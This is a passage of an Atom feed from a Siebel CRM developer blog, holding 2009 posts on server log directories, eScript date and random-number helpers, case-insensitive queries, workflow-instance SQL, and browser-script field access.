type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/613344100643622445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=613344100643622445&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/613344100643622445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/613344100643622445'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/10/in-process-reentrance-is-not-supported.html' title='In-process reentrance is NOT supported for JMS, MSMQ and MQ Series transports'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-4313753238267625450</id><published>2009-10-26T12:03:00.000-07:00</published><updated>2009-10-28T13:22:11.001-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Server Admin'/><title type='text'>How to change default location of logs on Siebel Server !</title><content type='html'>Location of Siebel Server logs is set while installation of the server. And most of the time Administrator keeps it to the default location i.e.. sea77\siebsrvr\logs directory.  But sometimes the installation location of siebel server is kept on very small and faster disk drives to improve performance, thus there is no or very less space is left on the drive for the extended log levels.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Specially for the EAI log files that can grow as fast as 1 gb per hour or more, it becomes very difficult to manage the log files, and debug the issue. And there is no direct way to changing this log directory path either.&lt;br /&gt;&lt;br /&gt;There is only one hidden parameter &lt;span style="font-weight: bold;"&gt;logdir&lt;/span&gt; for every server is&amp;nbsp;available&amp;nbsp;that can contains the location of log directory, but this parameter not visible on the UI and nor on Advance object lists. The only way to change this parameter is through server manager command prompt.&lt;br /&gt;&lt;br /&gt;Excerpt from support web:&lt;br /&gt;&lt;br /&gt;Problem Description: The Siebel Server Log Directory parameter - LogDir is not visible anywhere.&lt;br /&gt;Resolution:&lt;br /&gt;Currently, the Server Log Dir can be set by using the following srvrmgr command:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;srvrmgr&amp;gt; change param logdir=&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: Arial; font-size: 13px;"&gt;&lt;span style="font-weight: bold;"&gt;&amp;lt; new path &amp;gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: 'Times New Roman'; font-size: 16px;"&gt;&lt;span style="font-weight: bold;"&gt;for server &amp;lt; server name &amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;However, the parameter "LOGDir" cannot be seen anywhere. After setting the param, the new server logs starts going into a new location, but there is no way to see this parameter in the Admin screen or through the server mgr. This happens despite having "ShowAdvancedObjects" parameter set to TRUE&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-4313753238267625450?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/4313753238267625450/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=4313753238267625450&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4313753238267625450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/4313753238267625450'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/10/changing-log-directory-of-siebel-server.html' title='How to change default location of logs on Siebel Server !'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-2449224423973210913</id><published>2009-10-15T03:40:00.000-07:00</published><updated>2009-12-31T02:01:23.681-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel eScript'/><title type='text'>Date functions in Siebel eScript</title><content type='html'>If you have worked on any date field then you would be knowing that some of the standard date functions are not available in Siebel escript, like converting date from one format to another, adding number of business days to a particular date, comparing two dates etc., &lt;br /&gt;&lt;br /&gt;Here are some methods built in eScript that perform these operations.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;1. AddDays &lt;br /&gt;This function serves the purpose of DateAdd function available in other languages. Basically, when we need to add x days to a date, we can use this function.&lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;function AddDays(myDate,days) &lt;br /&gt;{&lt;br /&gt;/* Adds the number of Days specified in the input parameter ‘days’ &lt;br /&gt; *  to the input parameter mydate and returns the new date&lt;br /&gt; * @param myDate,days&lt;br /&gt; * @return new Date&lt;br /&gt;*&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;    return new Date(myDate.getTime() + days*24*60*60*1000);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;2. SubtractDays&lt;br /&gt;&lt;br /&gt;This function helps in finding a backdated date.&lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;function SubtractDays(myDate,days)&lt;br /&gt;{&lt;br /&gt;/**&lt;br /&gt; * Will subtract ‘days’ number of &lt;br /&gt; * days from the input date and return the new date&lt;br /&gt; * @param myDate,days &lt;br /&gt; * @return date &lt;br /&gt; * @modified &lt;br /&gt; */&lt;br /&gt; return new Date(myDate.getTime() - days*24*60*60*1000);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;3. IsFutureDate&lt;br /&gt;This function is used to find if any date is greater than today. &lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;function IsFutureDate(mydate)&lt;br /&gt;{&lt;br /&gt;/*&lt;br /&gt; *  Function to check if a date is greater than today&lt;br /&gt; *  Returns 0 if Current Date is larger&lt;br /&gt; *  1 if Passed Variable is larger&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;var istoday = new Date();   &lt;br /&gt;var myM = ToInteger(mydate.getMonth()+1);&lt;br /&gt;var myD = ToInteger(mydate.getDate());&lt;br /&gt;var myY = ToInteger(mydate.getFullYear());&lt;br /&gt;var toM = ToInteger(istoday.getMonth()+1);&lt;br /&gt;var toD = ToInteger(istoday.getDate());&lt;br /&gt;var toY = ToInteger(istoday.getFullYear()); &lt;br /&gt;if ((myY &amp;lt; toY)||((myY==toY)&amp;amp;&amp;amp;(myM &amp;lt; toM))||((myY==toY)&amp;amp;&amp;amp;(myM==toM)&amp;amp;&amp;amp;(myD &amp;lt; = toD)))&lt;br /&gt; { &lt;br /&gt;  return(0);&lt;br /&gt; }&lt;br /&gt;else &lt;br /&gt;{ &lt;br /&gt;  return(1);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;4. CompareDates  This function is used to compare two dates and to find if one date is greater than or lesser than the other date.  &lt;br /&gt;&lt;pre class="js" name="code"&gt;function CompareDates(dte_from,dte_to)&lt;br /&gt;{&lt;br /&gt;/* Function to compare two dates.. will return 1 if dte_from is greater than dte_to else will return 0 */&lt;br /&gt;&lt;br /&gt;var myM = ToInteger(dte_from.getMonth()+1);&lt;br /&gt;var myD = ToInteger(dte_from.getDate());&lt;br /&gt;var myY = ToInteger(dte_from.getFullYear());&lt;br /&gt;var toM = ToInteger(dte_to.getMonth()+1);&lt;br /&gt;var toD = ToInteger(dte_to.getDate());&lt;br /&gt;var toY = ToInteger(dte_to.getFullYear()); &lt;br /&gt;if ((myY &amp;lt; toY)||((myY==toY)&amp;amp;&amp;amp;(myM &amp;lt; toM))||((myY==toY)&amp;amp;&amp;amp;(myM==toM)&amp;amp;&amp;amp;(myD &amp;lt; = toD)))&lt;br /&gt; { &lt;br /&gt;  return(0);&lt;br /&gt; }&lt;br /&gt;else &lt;br /&gt;{ &lt;br /&gt;  return(1);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-2449224423973210913?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/2449224423973210913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=2449224423973210913&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/2449224423973210913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/2449224423973210913'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/10/date-functions-in-siebel-escript.html' title='Date functions in Siebel eScript'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-3523109246538722944</id><published>2009-10-14T11:38:00.000-07:00</published><updated>2009-10-28T13:23:07.058-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel eScript'/><title type='text'>Case Insensitive Query in Siebel by using LIKE operator !</title><content type='html'>I think most of the readers would know how to perform an case&amp;nbsp;insensitive&amp;nbsp;search/query in Siebel. Those who don't read on!&lt;br /&gt;&lt;br /&gt;Case&amp;nbsp;insensitive query in Siebel means to query the database records using the LIKE operator in SQL. This type of SQL tends to be slow as they return more records than the equal (=) operator.  &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Case&amp;nbsp;insensitive&amp;nbsp;query&amp;nbsp;can only be controlled by editing the Application level parameter &lt;span style="font-weight: bold;"&gt;DSCaseInsensitiveFlg &lt;/span&gt;in the Data source named subsystem. For thick clients it can be done setting &lt;span style="font-weight: bold;"&gt;CaseInsensitive &lt;/span&gt;parameter in cfg file.&lt;br /&gt;&lt;br /&gt;But this is rarely&amp;nbsp;activated as it&amp;nbsp;severely&amp;nbsp;hampers the application performance. &lt;br /&gt;&lt;br /&gt;Now what if this parameter is set and we need to execute an&amp;nbsp;insensitive&amp;nbsp;query on BC using script? &lt;br /&gt;&lt;br /&gt;For this we can use tilda operator and LIKE operator in the search expresion of the query ~ LIKE . Like operator along with tilda &lt;span style="font-style: italic;"&gt;forces case&amp;nbsp;insensitive query on the bc field even if the application level&amp;nbsp;sensitivity&amp;nbsp;is turned off!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This can also verfied by quering on the UI using this operator:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;a href="http://2.bp.blogspot.com/_mJfGtfR_Zdc/StYYy_ou2dI/AAAAAAAAAFs/6KAk6-uaxPE/s1600-h/1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_mJfGtfR_Zdc/StYYy_ou2dI/AAAAAAAAAFs/6KAk6-uaxPE/s320/1.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_mJfGtfR_Zdc/StYY0MXBnoI/AAAAAAAAAF0/zobx0Dczqgs/s1600-h/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_mJfGtfR_Zdc/StYY0MXBnoI/AAAAAAAAAF0/zobx0Dczqgs/s320/2.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-3523109246538722944?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/3523109246538722944/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=3523109246538722944&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/3523109246538722944'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/3523109246538722944'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/10/case-insensitive-query-in-siebel-by.html' title='Case Insensitive Query in Siebel by using LIKE operator !'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_mJfGtfR_Zdc/StYYy_ou2dI/AAAAAAAAAFs/6KAk6-uaxPE/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-7571483640583176158</id><published>2009-10-07T13:29:00.000-07:00</published><updated>2009-10-28T13:24:07.560-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='Basics'/><category scheme='http://www.blogger.com/atom/ns#' term='Miscellaneous'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>Get Workflow Instance Id from the process property value!</title><content type='html'>Workflow Instance monitor is one of the best out of the box&amp;nbsp;debugging&amp;nbsp;techniques available in&amp;nbsp;Siebel. But this also lacks in some aspects. &lt;br /&gt;&lt;br /&gt;As most of developer would know that there is no way in instance monitor view to identify the workflow instance for&amp;nbsp;specific&amp;nbsp;object id or process property value. &lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;We usually have to rely on the time and keep switching between the tabs to find the correct instance. And this becomes really cumbersome in production or acceptance environment, or when workflow executes very frequently.&lt;br /&gt;&lt;br /&gt;Same problem we were facing, until we wrote this small sql. This sql queries the instance&amp;nbsp;monitor&amp;nbsp;table that stores all the workflow steps and returns the &lt;span style="font-weight: bold;"&gt;W&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;orkflow Instance Id's&amp;nbsp;&lt;/span&gt;where ever it finds the field value in the input property set.&lt;br /&gt;&lt;br /&gt;&lt;pre class="sql" name="code"&gt;select EXEC_INST_VAL from siebel.S_WFA_INST_LOG &lt;br /&gt;where row_id in( &lt;br /&gt;select distinct INST_LOG_ID from siebel.S_WFA_INSTP_LOG where row_id in(&lt;br /&gt;select step_log_id from siebel.S_WFA_STPRP_LOG where PROP_VAL ='PROPVALUE'))&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;You can&amp;nbsp;substitute&amp;nbsp;any process property value in place of &lt;span style="font-weight: bold;"&gt;PROPVALUE&lt;/span&gt; in above sql, and it will return all the workflow instance id where the property was found.&lt;br /&gt;&lt;br /&gt;njoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-7571483640583176158?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/7571483640583176158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=7571483640583176158&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7571483640583176158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/7571483640583176158'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/10/get-workflow-instance-id-from-process.html' title='Get Workflow Instance Id from the process property value!'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-9021871290261269366</id><published>2009-10-06T13:53:00.000-07:00</published><updated>2009-10-30T12:04:41.957-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Tips'/><category scheme='http://www.blogger.com/atom/ns#' term='Best Practices'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>Alternate use of List Of Values</title><content type='html'>&lt;div&gt;&lt;/div&gt;&lt;div&gt;Most common use of list of values comes in implementation&amp;nbsp;of multilingual siebel applications. But its global&amp;nbsp;presence&amp;nbsp;all over the applications objects makes them extremely useful for writing switches in codes/workflows. I saw one&amp;nbsp;great&amp;nbsp;use in creating the stubs for the real time interfaces in Siebel EAI.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It usually happens in development phase of the application is that the external interfaces are not ready to test while siebel processes needs some&amp;nbsp;inputs&amp;nbsp;to test rest of the application. In such cases building&amp;nbsp;separate&amp;nbsp;dummy workflow&amp;nbsp;temporarily doesn't look like a&amp;nbsp;good solution.&lt;br /&gt;&lt;br /&gt;Instead of creating&amp;nbsp;separate&amp;nbsp;workflow, we added another branch to the workflow along with the decision step which used to read XML message from the file instead of the interface.&lt;br /&gt;&lt;br /&gt;This&amp;nbsp;decision&amp;nbsp;was taken depending upon the value of the &lt;span style="font-weight: bold;"&gt;STUB_LOV&lt;/span&gt;, if it is set to Y then XML from the file was read otherwise the real interface was called.&lt;br /&gt;&lt;br /&gt;So whenever the interface was down or we need specific data only we just used to set this LOV to get the XML from file.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There can be lots more uses of LOV like this in Siebel, please feel free to share anything that comes up in your mind.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-9021871290261269366?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/9021871290261269366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=9021871290261269366&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/9021871290261269366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/9021871290261269366'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/10/alternate-use-of-list-of-values.html' title='Alternate use of List Of Values'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-9053012758157662510</id><published>2009-09-07T11:14:00.000-07:00</published><updated>2009-10-03T12:09:58.562-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel 8 Presentations'/><category scheme='http://www.blogger.com/atom/ns#' term='Best Practices'/><category scheme='http://www.blogger.com/atom/ns#' term='Basics'/><category scheme='http://www.blogger.com/atom/ns#' term='Downloads'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Presentations'/><title type='text'>Download Siebel 8.0 Essentials Training Presentation!</title><content type='html'>Most of siebel developers don't undergo siebel core consultant training because of the high cost of the course. I have undergone through such classroom training and found that there is nothing special in that training except the training material that they use.&lt;br /&gt;&lt;br /&gt;Their content is well organised to teach siebel from scratch. In my opnion they are much - much better from bookshelf that veterans suggests. Now the good thing is that the same content is available online for download!&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Download Link for Siebel 8.0 training presentation:&lt;/strong&gt;&lt;br /&gt;&lt;a href="http://www.esnips.com/doc/47d61d24-b55e-473e-aa37-7c94ac3841cb/Siebel-8.0-Essentials"&gt;http://www.esnips.com/doc/47d61d24-b55e-473e-aa37-7c94ac3841cb/Siebel-8.0-Essentials&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It is worth reading even if you have gone through the 7.8 core consultant training, in siebel 8.0 they have added plenty of things like Workflow Policies and new stuffs like Task base UI and Audit trail.&lt;br /&gt;&lt;br /&gt;There are plenty of more content is available in &lt;a href="http://www.esnips.com/"&gt;esnips &lt;/a&gt;- a public content sharing website. I think it favorite among the siebel developers.Check it out!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-9053012758157662510?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/9053012758157662510/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=9053012758157662510&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/9053012758157662510'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/9053012758157662510'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/09/download-siebel-80-essentials-training.html' title='Download Siebel 8.0 Essentials Training Presentation!'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-6694647594279821800</id><published>2009-09-05T12:01:00.001-07:00</published><updated>2009-10-28T13:26:08.210-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel eScript'/><title type='text'>How to generate random number in Siebel eScript?</title><content type='html'>Recently I had a requirement to generate &lt;strong&gt;non-repetitive random numbers &lt;/strong&gt;in siebel escript. I searched the siebel tools help and found Clib.rand() function to the rescue. And using it was also very simple.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;var temp = Clib.rand();&lt;br /&gt;TheApplication().RaiseErrorText(temp);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;But this function do not guarantee the non-repetitive output. Instead of building any complex algorithm, to get non-repetitive random number i used &lt;strong&gt;Date object &lt;/strong&gt;and &lt;strong&gt;getTime &lt;/strong&gt;method. As time is allways incrementing and it never looks back :) i used this as my random number.&lt;br /&gt;&lt;br /&gt;This method returns the date-time, in milliseconds, of the Date object.&lt;br /&gt;&lt;br /&gt;&lt;pre class="js" name="code"&gt;var aDate = new Date().getTime();&lt;br /&gt;TheApplication().RaiseErrorText(aDate);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Try it out it never fails.&lt;br /&gt;One point to note here is that if requirement is to get series of random number in loop, then you have to add some delay of about a millisec so that system time is updated. njoy!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-6694647594279821800?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/6694647594279821800/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=6694647594279821800&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/6694647594279821800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/6694647594279821800'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/09/how-to-generate-random-number-in-siebel.html' title='How to generate random number in Siebel eScript?'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-8632926447273260875</id><published>2009-08-22T08:33:00.000-07:00</published><updated>2009-08-31T10:25:58.792-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Siebel eScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel Configuration'/><title type='text'>Accessing Field in Siebel Browser Script</title><content type='html'>Accessing a field in browser script can a bit pain, for someone who is new to the browser scripting. There is no direct way to access the field in browser scripts that are not shown on the applet at run time.&lt;br /&gt;&lt;br /&gt;This is because the browser script works on the DOM elements not the Siebel Objects. Siebel to support its syntax, publishes some of the objects and methods in the browser script.&lt;br /&gt;&lt;br /&gt;There is a workaround to access field in the browser script:&lt;br /&gt;&lt;strong&gt;1. Add a control in the applet with the required field.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;2. Set the HTML Type of control to Hidden.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;3. Add this control on the list applet as column or on the header (where buttons are placed) of the form applet.&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;4. Create usual script to GetFieldValue. Now you will be able to get the value inside the script.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are also lots of restriction in the browser script as compared to Server Script, some of them being:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;TheApplication() in eScript is converted to theApplication() in JavaScript.&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;We can not use theApplication().GetBusObject(), can only use theApplication().ActiveBusObject();&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Cannot Get and Set Field values that are not shown on the UI.&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Cannot use InvokeMethod("LookupValue") (this creates lots of troubles in developing multilingual prompts.)&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8531650369937741306-8632926447273260875?l=exploringsiebel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploringsiebel.blogspot.com/feeds/8632926447273260875/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8531650369937741306&amp;postID=8632926447273260875&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/8632926447273260875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8531650369937741306/posts/default/8632926447273260875'/><link rel='alternate' type='text/html' href='http://exploringsiebel.blogspot.com/2009/08/accessing-field-in-siebel-browser.html' title='Accessing Field in Siebel Browser Script'/><author><name>Tejeshwer</name><uri>http://www.blogger.com/profile/04153617094899750988</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8531650369937741306.post-1516502574857486982</id><published>2009-08-22T00:46:00.000-07:00</published><updated>2009-08-22T13:16:17.828-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Basics'/><category scheme='http://www.blogger.com/atom/ns#' term='Siebel EAI'/><title type='text'>Siebel Message Property Set</title><content type='html'>The Next buzz word that we hear in Siebel EAI is Siebel Message or IO Hierarchy. It appears to be very similar to XML hierarchy, but it is not!&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Siebel Message or IO Hierarchy is an instance of an Integration Object in form of property set. It is mostly used in EAI workflows, but it can also be very useful in scripting and business processes.&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="FONT-WEIGHT: bold"&gt;What is Integration Object? : &lt;/span&gt;It is an structure that defines the Siebel 